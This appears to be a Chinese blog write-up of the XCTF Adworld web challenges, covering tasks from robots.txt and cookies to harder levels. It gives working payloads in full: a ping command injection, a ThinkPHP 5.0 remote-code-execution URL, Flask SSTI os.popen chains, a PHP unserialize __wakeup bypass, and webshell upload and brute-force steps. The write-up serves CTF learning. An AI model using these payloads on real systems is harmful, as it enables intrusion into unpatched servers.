WP-攻防世界
攻防世界
新手练习区
一、view_source
打开链接如上图所示,右键查看源代码失效,尝试F12查看,通过Elements发现flag,如下图所示。
二、robots
点击题目所给链接,是一个空白界面,根据题目提示,查看robots.txt文件
意思为允许所有用户访问f1ag_1s_h3re.php文件,尝试访问该文件获得flag
三、backup
点击题目所给链接,如下图所示。
尝试F12看看能否获得有效信息,查看后没有相关提示。此时,考虑使用工具扫描目录,使用dirmap进行目录扫描。
依次访问三个目录,访问index.php.bak是下载了一个文件,打开文件发现flag
四、cookie
点击题目所给链接,如下图所示:
根据提示,用burp抓包分析,包里面有提示去查看cookie.php
访问cookie.php,如下图所示:
根据提示去看response请求头,发现flag
五、disabled_button
考察前端知识。访问题目所给链接,如下图所示:
F12进入删除disabled,点击flag得到flag
六、weak_auth
考察弱口令,使用burp爆破
点击题目所给链接
输入用户名admin密码admin抓包,发送到爆破
加载常用密码字典进行爆破。
爆破成功,看到flag
七、simple_php
=== 会同时比较字符串的值和类型
== 会先将字符串换成相同类型,再作比较,属于弱类型比较
点击题目所给链接
根据代码提示,构造payload:?a=00&b=12345a,得到flag
八、get post
点击题目所给链接
F12使用hackbar用get方式提交a=1
再用post方式提交b=2
九、xff_referer
打开页面提示
用hackbar伪造X-Forwarded-For
提交请求后页面显示如下;
用hackbar伪造Referer
提交请求后得到flag
十、webshell
打开题目链接
根据题目提示,知道在index.php里面有webshell,密码为shell,直接用蚁剑尝试连接
连接成功,发现flag.txt
十一、command_execution
| 的作用为将前一个命令的结果传递给后一个命令作为输入
&&的作用是前一条命令执行成功时,才执行后一条命令
打开题目
输127.0.0.1尝试,发现是一个ping命令,尝试使用|来进行命令拼接,构造payload,127.0.0.1| find / -name "flag.txt"
用127.0.0.1| cat /home/flag.txt,得到flag
十二、simple_js
点击题目所给链接,在输入框输入密码后跳出错误提示
这里是前端验证,无法爆破,右键查看源代码,发现不管输入什么密码都会报错,阅读代码发现关键代码
String["fromCharCode"](dechiffre("\x35\x35\x2c\x35\x36\x2c\x35\x34\x2c\x37\x39\x2c\x31\x31\x35\x2c\x36\x39\x2c\x31\x31\x34\x2c\x31\x31\x36\x2c\x31\x30\x37\x2c\x34\x39\x2c\x35\x30"));
对数组进行ascii编码
根据题目提示,形成完整的flag
高手进阶区
一、baby web
打开题目所给环境
结合题目给的提示,尝试访问index.php界面,发现重定向到1.php,F12打开发现在Network里面的Headers里面看到flag
二、Training-WWW-Robots
打开题目所给环境
根据提示去访问robots.txt
直接访问/f10g.php得到flag:cyberpeace{0a0274284c093de228187777293cbc4a}
三、php rce
打开环境,发现是一个thinkphp5.0,网上直接搜相关的poc
http://111.200.241.244:61326/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=find / -name "flag"
直接查看flag http://111.200.241.244:61326/index.php?s=index/think\app/invokefunction&function=call_user_func_array&vars[0]=system&vars[1][]=cat /flag
四、Web_php_include
五、ics-06
六、warmup
七、NewsCenter
八、NaNNaNNaNNaN-Batman
九、PHP2
十、unserialize3
十一、upload1
打开题目,是一个文件上传,并且前端验证如果不是图片的话是会弹窗提示
随便选择一张图片上传,抓包
对包的内容进行修改,删除图片的内容,修改上传文件的后缀名
直接使用蚁剑连接,发现flag
十二、Web_python_template_injection
打开题目所给环境,结合题目提示知道这是一个ssti服务端模板注入
利用http://111.200.241.244:63560/{{1+1}},发现确实存在命令执行
下面是payload用到的几个魔法函数
__class__:返回对象所属类
__mro__:以元组返回继承链关系
__subclasses__:以列表返回类的所有子类(查看object的子类)
__init__:类的初始方法,用以初始化实例.实际上魔术方法__new__与__init__共同作为"构造函数",__new__先实例化类对象,而后__init__则用传入的参数来初始化实例.
__globals__(也可用func_globals):以字典返回内建模块
这个题目使用payload:''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('执行命令').read()即可
http://111.200.241.244:63560/{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('ls').read()}}
http://111.200.241.244:63560/{{''.__class__.__mro__[2].__subclasses__()[71].__init__.__globals__['os'].popen('cat fl4g').read()}}
Web_php_unserialize
打开题目环境,读代码
发现是一个反序列化的题目,if循环里面利用正则表达式过滤了o或c后面接:接数字,反序列化是需要绕过__wakeup函数
1 <?php 2 class Demo { 3 private $file = 'fl4g.php'; 4 } 5 6 $a= serialize(new demo); 7 $a= str_replace('O:4', 'O:+4',$a);//绕过preg_match 8 $a= str_replace(':1:', ':2:',$a);//绕过wakeup 9 echo base64_encode($a);//TzorNDoiRGVtbyI6Mjp7czoxMDoiAERlbW8AZmlsZSI7czo4OiJmbDRnLnBocCI7fQ== 10 ?>
在线或者本地运行上面代码即可得到paylaod,再去利用get方式提交即可得到flag
ctf{b17bd4c7-34c9-4526-8fa8-a0794a197013}
supersqli
BUUCTF上面有一样的题目
本文作者:KEEP12
本文链接:https://www.cnblogs.com/ikillyou/p/14948444.html
版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步